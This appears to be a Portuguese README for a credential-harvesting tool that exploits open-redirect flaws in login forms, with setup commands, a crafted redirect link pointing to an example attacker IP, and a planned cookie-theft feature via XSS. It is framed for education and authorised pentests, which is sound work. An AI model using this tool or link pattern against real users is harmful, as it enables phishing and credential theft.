ATENÇÃO: Uso da app tem objetivo educacional ou para utilizar em um pentest web autorizado.
Essa app automatiza a validação de um ataque usando Open Redirect. A app recebe os dados submetidos a partir de um formulário em um alvo e salva em um arquivo chamado dados.txt. Esse ataque envolve uma etapa prévia de envio de um link para o usuário alvo.
Fonte da imagem do usuário malicioso (mage by macrovector_official on Freepik): Link
Em alguns sistemas, no formulário de login, após o usuário informar os dados e submeter, na url já é passado um parâmetro que indica que após logar, o usuário será redirecionado para uma determinada url. Esse parâmetro pode ter vários nomes (redirect, next, service, etc).
Na figura anterior, como exemplo, a url indica que após logar o usuário deverá ser redirecionado para https://sistema-alvo/dashboard.
Etapas do ataque:
- O atacante envia um link malicioso com um parâmetro de redirecionamento diferente, enviando os dados para um sistema malicioso. Ex.: https/sistema-alvo/next=http://url-maliciosa;
- O usuário vítima acessa o link e informa as credenciais de acesso;
- As credenciais são enviados para uma app maliciosa que recebe esses dados;
- Os dados coletados são salvos e o atacante tem acesso a essa informação.
- A app maliciosa envia um redirect para a vítima para uma url do sistema verdadeiro, no exemplo, https://sistema-alvo
- Efetue o clone da app em um computador com S.O. Linux, que será o servidor que executara a app maliciosa:
git clone https://github.com/gutobrutus/open-redirect-tester.git
- Acesse o diretório da app:
cd open-redirect-tester
- Inicie um virtual env do python:
python3 -m venv venv
- Instale as dependências:
pip install -r requirements
- Execute a app:
python3 server.py
A app solicitará 3 argumentos:
- HOST: O host que coletará os dados do usuário, no caso, onde estará executando a app maliciosa.
- PORTA: Em que porta a app maliciosa irá escutar.
- URL_REDIRECT: Para qual URL a app maliciosa redirecionará a vítima, uma url válida do sistema que o usuário está usando.
A app responde no endpoint /redirapp, ou seja, se o HOST for 192.168.56.100 e a PORTA for 5000, o link que será enviado ao usuário deverá ser https/sistema-alvo/next=http://192.168.56.100:5000/redirapp. O ip ai é apenas para exemplificar, troque-o para o seu cenário.
Apesar de ser uma vulnerabilidade bastante conhecida, por vezes, ainda é encontrada alguns sistemas web. Essa app aqui é apenas para apoiar e facilitar um pouco na exploração, além de auxiliar no entendimento do ataque.
- Coletar o cookie do usuário e devolver no redirect o usuário logado, deixando o ataque mais sútil e despercebido. Requer uma vulnerabilidade de XSS.
- Persistir um log de acesso da app
- Criar um Dockerfile para utilizar em container a app